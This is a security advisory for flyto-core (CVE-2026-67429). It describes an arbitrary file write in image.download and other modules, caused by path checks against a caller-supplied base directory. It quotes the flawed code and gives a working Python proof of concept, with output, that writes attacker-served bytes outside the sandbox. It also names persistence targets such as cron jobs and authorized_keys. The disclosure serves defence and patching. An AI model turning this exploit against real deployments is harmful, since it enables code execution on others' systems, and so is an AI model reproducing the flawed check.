GHSA-2956-977X-2W3R

Vulnerability from github – Published: 2026-07-30 14:46 – Updated: 2026-07-30 14:46
VLAI
Summary
Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
Details

Summary

image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.

Affected code

src/core/modules/atomic/image/download.py:

output_path = params.get('output_path')
output_dir  = params.get('output_dir', '/tmp')   # caller-controlled base
...
base_real   = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
    raise Exception('Invalid file path')          # base is attacker-chosen, so always passes
...
content = await response.read()                   # attacker-hosted bytes
with open(target_real, 'wb') as f:
    f.write(content)

commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.

This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.

Reproduction

Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.

#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"   # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"

class Content(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
    def log_message(self, *a): pass

async def run(mid, params):
    from core.modules.registry import ModuleRegistry
    try:
        return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
    except Exception as e:
        return ("EXC", f"{type(e).__name__}: {e}")

async def main():
    from core.modules.atomic import register_all
    register_all()
    threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
    root = tempfile.mkdtemp(prefix="flyto_poc_")
    sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
    escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
    os.environ["FLYTO_SANDBOX_DIR"] = sandbox
    target = os.path.join(escape, "pwned")   # OUTSIDE the sandbox
    print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
    print("B) image.download:", await run("image.download", {
        "url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
    print("file written outside sandbox?", os.path.exists(target))
    if os.path.exists(target):
        print("content:", open(target, "rb").read())

if __name__ == "__main__":
    asyncio.run(main())

Output:

A) file.write:     ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...})
file written outside sandbox? True
content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n'

file.write refuses the out-of-sandbox path; image.download writes attacker bytes there. Reproduced through the running HTTP API as well.

Reachability (why this is not operator self-service)

output_dir, output_path and url are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic execute_module(module_id, params) MCP tool (core/mcp_handler.py, params taken from the model's arguments) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. FLYTO_SANDBOX_DIR and the guard file.write uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.

Impact

Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or authorized_keys, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).

Suggested fix

Use validate_path_with_env_config() for every module that writes files, so all writes are confined to FLYTO_SANDBOX_DIR (a base the caller cannot change), never to a caller-supplied output_dir.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:46:43Z",
    "nvd_published_at": "2026-07-29T19:16:52Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`image.download` fetches a URL and writes the response to disk. It does not use the central path guard (`validate_path_with_env_config`, which confines writes to `FLYTO_SANDBOX_DIR`); instead it confines the output to `output_dir`, but `output_dir` is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.\n\n## Affected code\n\n`src/core/modules/atomic/image/download.py`:\n\n```python\noutput_path = params.get(\u0027output_path\u0027)\noutput_dir  = params.get(\u0027output_dir\u0027, \u0027/tmp\u0027)   # caller-controlled base\n...\nbase_real   = os.path.realpath(output_dir)\ntarget_real = os.path.realpath(output_path)\nif os.path.commonpath([base_real, target_real]) != base_real:\n    raise Exception(\u0027Invalid file path\u0027)          # base is attacker-chosen, so always passes\n...\ncontent = await response.read()                   # attacker-hosted bytes\nwith open(target_real, \u0027wb\u0027) as f:\n    f.write(content)\n```\n\n`commonpath` is used correctly, but the base is caller-supplied, so setting `output_dir=\u0027/\u0027` passes any target. `file.write`, by contrast, uses `validate_path_with_env_config()` and stays inside `FLYTO_SANDBOX_DIR`.\n\nThis is not isolated to `image.download`. Most other file-writing modules write to a caller `output_path` with no path check at all: `image.convert`, `image.resize`, `image.crop`, `image.compress`, `image.rotate`, `image.watermark`, `image.qrcode_generate`, `document.excel_write`, `document.pdf_fill_form`, `document.word_to_pdf`, `document.pdf_to_word` and `browser.pagination`. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; `image.download` is the strongest because the bytes are arbitrary.\n\n## Reproduction\n\nSave as `filewrite_poc.py`, run with `PYTHONPATH=src/src python filewrite_poc.py`. It sets `FLYTO_SANDBOX_DIR` to a sandbox dir and writes to a sibling directory outside it.\n\n```python\n#!/usr/bin/env python3\nimport asyncio\nimport os\nimport tempfile\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nos.environ[\"FLYTO_ALLOWED_HOSTS\"] = \"localhost\"   # let the content host pass the SSRF check\nEVIL = b\"#!/bin/sh\\n# attacker-controlled content written outside the sandbox\\necho pwned\\n\"\n\nclass Content(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.send_header(\"Content-Type\", \"image/jpeg\")\n        self.send_header(\"Content-Length\", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)\n    def log_message(self, *a): pass\n\nasync def run(mid, params):\n    from core.modules.registry import ModuleRegistry\n    try:\n        return (\"RESULT\", await ModuleRegistry.execute(mid, params=params, context={}))\n    except Exception as e:\n        return (\"EXC\", f\"{type(e).__name__}: {e}\")\n\nasync def main():\n    from core.modules.atomic import register_all\n    register_all()\n    threading.Thread(target=HTTPServer((\"127.0.0.1\", 8080), Content).serve_forever, daemon=True).start()\n    root = tempfile.mkdtemp(prefix=\"flyto_poc_\")\n    sandbox = os.path.join(root, \"sandbox\"); os.makedirs(sandbox)\n    escape = os.path.join(root, \"ESCAPE\"); os.makedirs(escape)\n    os.environ[\"FLYTO_SANDBOX_DIR\"] = sandbox\n    target = os.path.join(escape, \"pwned\")   # OUTSIDE the sandbox\n    print(\"A) file.write:\", await run(\"file.write\", {\"path\": target, \"content\": \"x\"}))\n    print(\"B) image.download:\", await run(\"image.download\", {\n        \"url\": \"http://localhost:8080/x.jpg\", \"output_dir\": escape, \"output_path\": target}))\n    print(\"file written outside sandbox?\", os.path.exists(target))\n    if os.path.exists(target):\n        print(\"content:\", open(target, \"rb\").read())\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nOutput:\n\n```\nA) file.write:     (\u0027EXC\u0027, \u0027ModuleError: [PATH_TRAVERSAL] Path escapes base directory: \u003croot\u003e/ESCAPE/pwned ...\u0027)\nB) image.download: (\u0027RESULT\u0027, {\u0027ok\u0027: True, \u0027path\u0027: \u0027\u003croot\u003e/ESCAPE/pwned\u0027, \u0027size\u0027: 79, ...})\nfile written outside sandbox? True\ncontent: b\u0027#!/bin/sh\\n# attacker-controlled content written outside the sandbox\\necho pwned\\n\u0027\n```\n\n`file.write` refuses the out-of-sandbox path; `image.download` writes attacker bytes there. Reproduced through the running HTTP API as well.\n\n## Reachability (why this is not operator self-service)\n\n`output_dir`, `output_path` and `url` are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic `execute_module(module_id, params)` MCP tool (`core/mcp_handler.py`, `params` taken from the model\u0027s `arguments`) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. `FLYTO_SANDBOX_DIR` and the guard `file.write` uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.\n\n## Impact\n\nWrite arbitrary content to an arbitrary path outside the operator\u0027s sandbox \u2014 overwrite config, drop a shell profile, cron job or `authorized_keys`, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).\n\n## Suggested fix\n\nUse `validate_path_with_env_config()` for every module that writes files, so all writes are confined to `FLYTO_SANDBOX_DIR` (a base the caller cannot change), never to a caller-supplied `output_dir`.",
  "id": "GHSA-2956-977x-2w3r",
  "modified": "2026-07-30T14:46:43Z",
  "published": "2026-07-30T14:46:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-2956-977x-2w3r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67429"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…